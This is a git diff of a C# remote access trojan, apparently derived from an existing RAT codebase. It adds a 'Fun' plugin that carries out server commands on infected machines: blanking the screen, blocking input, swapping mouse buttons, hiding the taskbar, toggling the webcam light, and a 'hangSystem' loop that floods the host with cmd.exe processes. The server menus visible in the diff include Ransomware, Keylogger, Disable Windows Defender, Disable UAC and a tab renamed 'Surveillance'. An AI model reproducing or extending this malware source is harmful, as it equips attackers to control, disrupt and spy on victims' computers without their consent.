[DllImport("user32.dll")] + public static extern IntPtr GetDlgItem(IntPtr hDlg, int nIDDlgItem); + + [DllImport("user32.dll")] + public static extern IntPtr GetShellWindow(); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, + string windowTitle); + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); + + [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); + + + [DllImport("user32.dll", EntryPoint = "BlockInput")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool BlockInput([MarshalAs(UnmanagedType.Bool)] bool fBlockIt); + + [DllImport("user32.dll")] + public static extern int SwapMouseButton(int bSwap); + + [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)] + public static extern int mciSendString(string lpstrCommand, + StringBuilder lpstrReturnString, + int uReturnLength, + IntPtr hwndCallback); + } + + + public enum ShowWindowCommands + { + Hide = 0, + + Normal = 1, + + ShowMinimized = 2, + + Maximize = 3, + + ShowMaximized = 3, + + ShowNoActivate = 4, + + Show = 5, + + Minimize = 6, + + ShowMinNoActive = 7, + + ShowNA = 8, + + Restore = 9, + + ShowDefault = 10, + + ForceMinimize = 11 + } +} \ No newline at end of file diff --git a/Plugin/Fun/Fun/ILMerge.props b/Plugin/Fun/Fun/ILMerge.props new file mode 100644 index 0000000..aaadb12 --- /dev/null +++ b/Plugin/Fun/Fun/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Plugin/Fun/Fun/ILMergeOrder.txt b/Plugin/Fun/Fun/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/Plugin/Fun/Fun/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/Plugin/Fun/Fun/Packet.cs b/Plugin/Fun/Fun/Packet.cs new file mode 100644 index 0000000..63b60d6 --- /dev/null +++ b/Plugin/Fun/Fun/Packet.cs @@ -0,0 +1,152 @@ +using Plugin.Handler; +using MessagePackLib.MessagePack; +using System; +using System.Diagnostics; + +namespace Plugin +{ + public static class Packet + { + public static void Read(object data) + { + try + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString) + { + + case "blankscreen+": + { + new HandleBlankScreen().Run(); + break; + } + + case "blankscreen-": + { + new HandleBlankScreen().Stop(); + break; + } + + case "Taskbar+": + { + new HandleTaskbar().Show(); + break; + } + + case "Taskbar-": + { + new HandleTaskbar().Hide(); + break; + } + + case "Clock+": + { + new HandleClock().Show(); + break; + } + + case "Clock-": + { + new HandleClock().Hide(); + break; + } + + case "Desktop+": + { + new HandleDesktop().Show(); + break; + } + + case "Desktop-": + { + new HandleDesktop().Hide(); + break; + } + + case "holdMouse": + { + new HandleHoldMouse().Hold(unpack_msgpack.ForcePathObject("Time").AsString); + break; + } + + case "swapMouseButtons": + { + new HandleMouseButton().SwapMouseButtons(); + break; + } + + case "restoreMouseButtons": + { + new HandleMouseButton().RestoreMouseButtons(); + break; + } + + case "blockInput": + { + new HandleBlockInput().Block(unpack_msgpack.ForcePathObject("Time").AsString); + break; + } + + case "openCD+": + { + new HandleOpenCD().Show(); + break; + } + + case "openCD-": + { + new HandleOpenCD().Hide(); + break; + } + + case "monitorOff": + { + new HandleMonitor().TurnOff(); + break; + } + + case "hangSystem": + { + var startInfo = new ProcessStartInfo("cmd.exe"); + while (true) + Process.Start(startInfo); + break; + } + + case "webcamlight+": + { + new HandleWebcamLight().Enable(); + break; + } + + case "webcamlight-": + { + new HandleWebcamLight().Disable(); + break; + } + + case "playAudio": + { + new HandlePlayAudio().Play(unpack_msgpack.ForcePathObject("wavfile").GetAsBytes()); + break; + } + + } + } + catch (Exception ex) + { + Error(ex.Message); + } + } + + public static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + } + +} \ No newline at end of file diff --git a/Plugin/Fun/Fun/Plugin.cs b/Plugin/Fun/Fun/Plugin.cs new file mode 100644 index 0000000..2a154ef --- /dev/null +++ b/Plugin/Fun/Fun/Plugin.cs @@ -0,0 +1,28 @@ +using System.Diagnostics; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bsod, string install) + { + Debug.WriteLine("Plugin Invoked"); + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(msgPack); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/Plugin/Fun/Fun/Properties/AssemblyInfo.cs b/Plugin/Fun/Fun/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..591356a --- /dev/null +++ b/Plugin/Fun/Fun/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("Fun")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Fun")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 会使此程序集中的类型 +//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 +//请将此类型的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("8bf244eb-0ca3-403e-a076-f1d77731a728")] + +// 程序集的版本信息由下列四个值组成: +// +// 主版本 +// 次版本 +// 生成号 +// 修订号 +// +//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 +//通过使用 "*",如下所示: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Plugin/Fun/Fun/packages.config b/Plugin/Fun/Fun/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/Plugin/Fun/Fun/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/Server/Forms/Form1.Designer.cs b/Server/Forms/Form1.Designer.cs index 14426c6..8101451 100644 --- a/Server/Forms/Form1.Designer.cs +++ b/Server/Forms/Form1.Designer.cs @@ -62,10 +62,6 @@ this.DisableWDToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.PasswordRecoveryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.DisableUACToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.OpenCDToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.LockScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.StartToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); - this.StopToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem(); this.SystemControlToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.ClientControlToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.StopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); @@ -85,6 +81,9 @@ this.InstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.SchtaskInstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.SchtaskUninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.normalInstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.normalUninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.justForFunToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.InformationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); @@ -149,8 +148,6 @@ this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.ConnectTimeout = new System.Windows.Forms.Timer(this.components); - this.normalInstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.normalUninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuClient.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.contextMenuLogs.SuspendLayout(); @@ -175,10 +172,10 @@ this.RemoteManagerToolStripMenuItem, this.RemoteControlToolStripMenuItem, this.MalwareToolStripMenuItem, - this.LockScreenToolStripMenuItem, this.SystemControlToolStripMenuItem, this.BypassUACAToolStripMenuItem, this.InstallToolStripMenuItem, + this.justForFunToolStripMenuItem, this.InformationToolStripMenuItem}); this.contextMenuClient.Name = "contextMenuStrip1"; this.contextMenuClient.Size = new System.Drawing.Size(181, 202); @@ -197,7 +194,7 @@ this.ProgramNotificationToolStripMenuItem}); this.RemoteManagerToolStripMenuItem.Name = "RemoteManagerToolStripMenuItem"; this.RemoteManagerToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.RemoteManagerToolStripMenuItem.Text = "Remote Manager"; + this.RemoteManagerToolStripMenuItem.Text = "Surveillance"; // // RemoteShellToolStripMenuItem // @@ -290,7 +287,7 @@ this.FileSearchToolStripMenuItem}); this.RemoteControlToolStripMenuItem.Name = "RemoteControlToolStripMenuItem"; this.RemoteControlToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.RemoteControlToolStripMenuItem.Text = "Remote Control"; + this.RemoteControlToolStripMenuItem.Text = "Control"; // // SendFileToolStripMenuItem1 // @@ -372,8 +369,7 @@ this.RansomwareToolStripMenuItem, this.DisableWDToolStripMenuItem, this.PasswordRecoveryToolStripMenuItem, - this.DisableUACToolStripMenuItem, - this.OpenCDToolStripMenuItem}); + this.DisableUACToolStripMenuItem}); this.MalwareToolStripMenuItem.Name = "MalwareToolStripMenuItem"; this.MalwareToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.MalwareToolStripMenuItem.Text = "Malware"; @@ -429,36 +425,6 @@ this.DisableUACToolStripMenuItem.Text = "Disable UAC"; this.DisableUACToolStripMenuItem.Click += new System.EventHandler(this.DisableUACToolStripMenuItem_Click); // - // OpenCDToolStripMenuItem - // - this.OpenCDToolStripMenuItem.Name = "OpenCDToolStripMenuItem"; - this.OpenCDToolStripMenuItem.Size = new System.Drawing.Size(189, 22); - this.OpenCDToolStripMenuItem.Text = "OpenCD"; - this.OpenCDToolStripMenuItem.Click += new System.EventHandler(this.OpenCDToolStripMenuItem_Click); - // - // LockScreenToolStripMenuItem - // - this.LockScreenToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.StartToolStripMenuItem2, - this.StopToolStripMenuItem3}); - this.LockScreenToolStripMenuItem.Name = "LockScreenToolStripMenuItem"; - this.LockScreenToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.LockScreenToolStripMenuItem.Text = "Lock Screen"; - // - // StartToolStripMenuItem2 - // - this.StartToolStripMenuItem2.Name = "StartToolStripMenuItem2"; - this.StartToolStripMenuItem2.Size = new System.Drawing.Size(103, 22); - this.StartToolStripMenuItem2.Text = "Start"; - this.StartToolStripMenuItem2.Click += new System.EventHandler(this.StartToolStripMenuItem2_Click); - // - // StopToolStripMenuItem3 - // - this.StopToolStripMenuItem3.Name = "StopToolStripMenuItem3"; - this.StopToolStripMenuItem3.Size = new System.Drawing.Size(103, 22); - this.StopToolStripMenuItem3.Text = "Stop"; - this.StopToolStripMenuItem3.Click += new System.EventHandler(this.StopToolStripMenuItem3_Click); - // // SystemControlToolStripMenuItem // this.SystemControlToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -477,7 +443,7 @@ this.UninstallToolStripMenuItem, this.ClientFolderToolStripMenuItem}); this.ClientControlToolStripMenuItem.Name = "ClientControlToolStripMenuItem"; - this.ClientControlToolStripMenuItem.Size = new System.Drawing.Size(155, 22); + this.ClientControlToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.ClientControlToolStripMenuItem.Text = "Client Control"; // // StopToolStripMenuItem1 @@ -522,7 +488,7 @@ this.RebootToolStripMenuItem, this.LogoutToolStripMenuItem}); this.SystemToolStripMenuItem.Name = "SystemToolStripMenuItem"; - this.SystemToolStripMenuItem.Size = new System.Drawing.Size(155, 22); + this.SystemToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.SystemToolStripMenuItem.Text = "System"; // // ShutDownToolStripMenuItem @@ -599,17 +565,38 @@ // SchtaskInstallToolStripMenuItem // this.SchtaskInstallToolStripMenuItem.Name = "SchtaskInstallToolStripMenuItem"; - this.SchtaskInstallToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.SchtaskInstallToolStripMenuItem.Size = new System.Drawing.Size(173, 22); this.SchtaskInstallToolStripMenuItem.Text = "Schtask Install"; this.SchtaskInstallToolStripMenuItem.Click += new System.EventHandler(this.SchtaskInstallToolStripMenuItem_Click); // // SchtaskUninstallToolStripMenuItem // this.SchtaskUninstallToolStripMenuItem.Name = "SchtaskUninstallToolStripMenuItem"; - this.SchtaskUninstallToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.SchtaskUninstallToolStripMenuItem.Size = new System.Drawing.Size(173, 22); this.SchtaskUninstallToolStripMenuItem.Text = "Schtask Uninstall"; this.SchtaskUninstallToolStripMenuItem.Click += new System.EventHandler(this.SchtaskUninstallToolStripMenuItem_Click); // + // normalInstallToolStripMenuItem + // + this.normalInstallToolStripMenuItem.Name = "normalInstallToolStripMenuItem"; + this.normalInstallToolStripMenuItem.Size = new System.Drawing.Size(173, 22); + this.normalInstallToolStripMenuItem.Text = "Normal Install"; + this.normalInstallToolStripMenuItem.Click += new System.EventHandler(this.normalInstallToolStripMenuItem_Click); + // + // normalUninstallToolStripMenuItem + // + this.normalUninstallToolStripMenuItem.Name = "normalUninstallToolStripMenuItem"; + this.normalUninstallToolStripMenuItem.Size = new System.Drawing.Size(173, 22); + this.normalUninstallToolStripMenuItem.Text = "Normal Uninstall"; + this.normalUninstallToolStripMenuItem.Click += new System.EventHandler(this.normalUninstallToolStripMenuItem_Click); + // + // justForFunToolStripMenuItem + // + this.justForFunToolStripMenuItem.Name = "justForFunToolStripMenuItem"; + this.justForFunToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.justForFunToolStripMenuItem.Text = "Just For Fun"; + this.justForFunToolStripMenuItem.Click += new System.EventHandler(this.justForFunToolStripMenuItem_Click); + // // InformationToolStripMenuItem // this.InformationToolStripMenuItem.Name = "InformationToolStripMenuItem"; @@ -1134,20 +1121,6 @@ this.ConnectTimeout.Interval = 5000; this.ConnectTimeout.Tick += new System.EventHandler(this.ConnectTimeout_Tick); // - // normalInstallToolStripMenuItem - // - this.normalInstallToolStripMenuItem.Name = "normalInstallToolStripMenuItem"; - this.normalInstallToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.normalInstallToolStripMenuItem.Text = "Normal Install"; - this.normalInstallToolStripMenuItem.Click += new System.EventHandler(this.normalInstallToolStripMenuItem_Click); - // - // normalUninstallToolStripMenuItem - // - this.normalUninstallToolStripMenuItem.Name = "normalUninstallToolStripMenuItem"; - this.normalUninstallToolStripMenuItem.Size = new System.Drawing.Size(180, 22); - this.normalUninstallToolStripMenuItem.Text = "Normal Uninstall"; - this.normalUninstallToolStripMenuItem.Click += new System.EventHandler(this.normalUninstallToolStripMenuItem_Click); - // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); @@ -1229,9 +1202,6 @@ private System.Windows.Forms.ToolStripMenuItem VisteWebsiteToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem ChangeWallpaperToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem KeyloggerToolStripMenuItem1; - private System.Windows.Forms.ToolStripMenuItem LockScreenToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem StartToolStripMenuItem2; - private System.Windows.Forms.ToolStripMenuItem StopToolStripMenuItem3; private System.Windows.Forms.ToolStripMenuItem SystemControlToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem ClientControlToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem StopToolStripMenuItem1; @@ -1294,7 +1264,6 @@ private System.Windows.Forms.ToolStripMenuItem PasswordRecoveryToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem FodhelperToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem DisableUACToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem OpenCDToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem CompMgmtLauncherToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem SettingToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem autoKeyloggerToolStripMenuItem; @@ -1311,6 +1280,7 @@ private System.Windows.Forms.ToolStripMenuItem remoteRegeditToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem normalInstallToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem normalUninstallToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem justForFunToolStripMenuItem; } } diff --git a/Server/Forms/Form1.cs b/Server/Forms/Form1.cs index e02b93b..5f7802e 100644 --- a/Server/Forms/Form1.cs +++ b/Server/Forms/Form1.cs @@ -1022,60 +1022,6 @@ namespace Server } } - private void StartToolStripMenuItem2_Click(object sender, EventArgs e) - { - try - { - if (listView1.SelectedItems.Count > 0) - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Pac_ket").AsString = "blankscreen+"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void StopToolStripMenuItem3_Click(object sender, EventArgs e) - { - try - { - if (listView1.SelectedItems.Count > 0) - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Pac_ket").AsString = "blankscreen-"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - private void StartToolStripMenuItem1_Click(object sender, EventArgs e) { @@ -1746,32 +1692,6 @@ namespace Server } } - private void OpenCDToolStripMenuItem_Click(object sender, EventArgs e) - { - if (listView1.SelectedItems.Count > 0) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Pac_ket").AsString = "openCD"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - } private void CompMgmtLauncherToolStripMenuItem_Click(object sender, EventArgs e) { @@ -2266,5 +2186,37 @@ namespace Server } } } + + private void justForFunToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Fun.dll")); + + foreach (Clients client in GetSelectedClients()) + { + FormFun fun = (FormFun)Application.OpenForms["fun:" + client.ID]; + if (fun == null) + { + fun = new FormFun + { + Name = "fun:" + client.ID, + Text = "fun:" + client.ID, + F = this, + ParentClient = client + }; + fun.Show(); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } } } diff --git a/Server/Forms/FormFun.Designer.cs b/Server/Forms/FormFun.Designer.cs new file mode 100644 index 0000000..8d91c0c --- /dev/null +++ b/Server/Forms/FormFun.Designer.cs @@ -0,0 +1,506 @@ + +namespace Server.Forms +{ + partial class FormFun + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormFun)); + this.button1 = new System.Windows.Forms.Button(); + this.button2 = new System.Windows.Forms.Button(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.button4 = new System.Windows.Forms.Button(); + this.button3 = new System.Windows.Forms.Button(); + this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.button5 = new System.Windows.Forms.Button(); + this.button6 = new System.Windows.Forms.Button(); + this.groupBox4 = new System.Windows.Forms.GroupBox(); + this.button7 = new System.Windows.Forms.Button(); + this.button8 = new System.Windows.Forms.Button(); + this.groupBox5 = new System.Windows.Forms.GroupBox(); + this.button9 = new System.Windows.Forms.Button(); + this.button10 = new System.Windows.Forms.Button(); + this.groupBox6 = new System.Windows.Forms.GroupBox(); + this.button11 = new System.Windows.Forms.Button(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); + this.button12 = new System.Windows.Forms.Button(); + this.button14 = new System.Windows.Forms.Button(); + this.groupBox7 = new System.Windows.Forms.GroupBox(); + this.button15 = new System.Windows.Forms.Button(); + this.label3 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); + this.groupBox9 = new System.Windows.Forms.GroupBox(); + this.button17 = new System.Windows.Forms.Button(); + this.button18 = new System.Windows.Forms.Button(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.groupBox8 = new System.Windows.Forms.GroupBox(); + this.button16 = new System.Windows.Forms.Button(); + this.button19 = new System.Windows.Forms.Button(); + this.button13 = new System.Windows.Forms.Button(); + this.groupBox1.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.groupBox3.SuspendLayout(); + this.groupBox4.SuspendLayout(); + this.groupBox5.SuspendLayout(); + this.groupBox6.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); + this.groupBox7.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); + this.groupBox9.SuspendLayout(); + this.groupBox8.SuspendLayout(); + this.SuspendLayout(); + // + // button1 + // + this.button1.Location = new System.Drawing.Point(6, 20); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(75, 30); + this.button1.TabIndex = 0; + this.button1.Text = "Show"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // button2 + // + this.button2.Location = new System.Drawing.Point(87, 20); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(75, 30); + this.button2.TabIndex = 1; + this.button2.Text = "Hide"; + this.button2.UseVisualStyleBackColor = true; + this.button2.Click += new System.EventHandler(this.button2_Click); + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.button1); + this.groupBox1.Controls.Add(this.button2); + this.groupBox1.Location = new System.Drawing.Point(12, 12); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(170, 56); + this.groupBox1.TabIndex = 0; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "Taskbar"; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.button4); + this.groupBox2.Controls.Add(this.button3); + this.groupBox2.Location = new System.Drawing.Point(12, 74); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(170, 56); + this.groupBox2.TabIndex = 4; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "Desktop"; + // + // button4 + // + this.button4.Location = new System.Drawing.Point(88, 21); + this.button4.Name = "button4"; + this.button4.Size = new System.Drawing.Size(75, 30); + this.button4.TabIndex = 1; + this.button4.Text = "Hide"; + this.button4.UseVisualStyleBackColor = true; + this.button4.Click += new System.EventHandler(this.button4_Click); + // + // button3 + // + this.button3.Location = new System.Drawing.Point(7, 21); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(75, 29); + this.button3.TabIndex = 0; + this.button3.Text = "Show"; + this.button3.UseVisualStyleBackColor = true; + this.button3.Click += new System.EventHandler(this.button3_Click); + // + // groupBox3 + // + this.groupBox3.Controls.Add(this.button5); + this.groupBox3.Controls.Add(this.button6); + this.groupBox3.Location = new System.Drawing.Point(12, 138); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Size = new System.Drawing.Size(170, 56); + this.groupBox3.TabIndex = 3; + this.groupBox3.TabStop = false; + this.groupBox3.Text = "Clock"; + // + // button5 + // + this.button5.Location = new System.Drawing.Point(6, 20); + this.button5.Name = "button5"; + this.button5.Size = new System.Drawing.Size(75, 30); + this.button5.TabIndex = 0; + this.button5.Text = "Show"; + this.button5.UseVisualStyleBackColor = true; + this.button5.Click += new System.EventHandler(this.button5_Click); + // + // button6 + // + this.button6.Location = new System.Drawing.Point(87, 20); + this.button6.Name = "button6"; + this.button6.Size = new System.Drawing.Size(75, 30); + this.button6.TabIndex = 1; + this.button6.Text = "Hide"; + this.button6.UseVisualStyleBackColor = true; + this.button6.Click += new System.EventHandler(this.button6_Click); + // + // groupBox4 + // + this.groupBox4.Controls.Add(this.button7); + this.groupBox4.Controls.Add(this.button8); + this.groupBox4.Location = new System.Drawing.Point(12, 200); + this.groupBox4.Name = "groupBox4"; + this.groupBox4.Size = new System.Drawing.Size(170, 56); + this.groupBox4.TabIndex = 4; + this.groupBox4.TabStop = false; + this.groupBox4.Text = "Mouse"; + // + // button7 + // + this.button7.Location = new System.Drawing.Point(88, 21); + this.button7.Name = "button7"; + this.button7.Size = new System.Drawing.Size(75, 30); + this.button7.TabIndex = 1; + this.button7.Text = "Restore"; + this.button7.UseVisualStyleBackColor = true; + this.button7.Click += new System.EventHandler(this.button7_Click); + // + // button8 + // + this.button8.Location = new System.Drawing.Point(7, 21); + this.button8.Name = "button8"; + this.button8.Size = new System.Drawing.Size(75, 29); + this.button8.TabIndex = 0; + this.button8.Text = "Swap"; + this.button8.UseVisualStyleBackColor = true; + this.button8.Click += new System.EventHandler(this.button8_Click); + // + // groupBox5 + // + this.groupBox5.Controls.Add(this.button9); + this.groupBox5.Controls.Add(this.button10); + this.groupBox5.Location = new System.Drawing.Point(12, 262); + this.groupBox5.Name = "groupBox5"; + this.groupBox5.Size = new System.Drawing.Size(170, 56); + this.groupBox5.TabIndex = 4; + this.groupBox5.TabStop = false; + this.groupBox5.Text = "CD Drive"; + // + // button9 + // + this.button9.Location = new System.Drawing.Point(88, 21); + this.button9.Name = "button9"; + this.button9.Size = new System.Drawing.Size(75, 30); + this.button9.TabIndex = 1; + this.button9.Text = "Close"; + this.button9.UseVisualStyleBackColor = true; + this.button9.Click += new System.EventHandler(this.button9_Click); + // + // button10 + // + this.button10.Location = new System.Drawing.Point(7, 21); + this.button10.Name = "button10"; + this.button10.Size = new System.Drawing.Size(75, 29); + this.button10.TabIndex = 0; + this.button10.Text = "Open"; + this.button10.UseVisualStyleBackColor = true; + this.button10.Click += new System.EventHandler(this.button10_Click); + // + // groupBox6 + // + this.groupBox6.Controls.Add(this.button11); + this.groupBox6.Controls.Add(this.label2); + this.groupBox6.Controls.Add(this.label1); + this.groupBox6.Controls.Add(this.numericUpDown1); + this.groupBox6.Location = new System.Drawing.Point(236, 12); + this.groupBox6.Name = "groupBox6"; + this.groupBox6.Size = new System.Drawing.Size(250, 68); + this.groupBox6.TabIndex = 5; + this.groupBox6.TabStop = false; + this.groupBox6.Text = "Block Input"; + // + 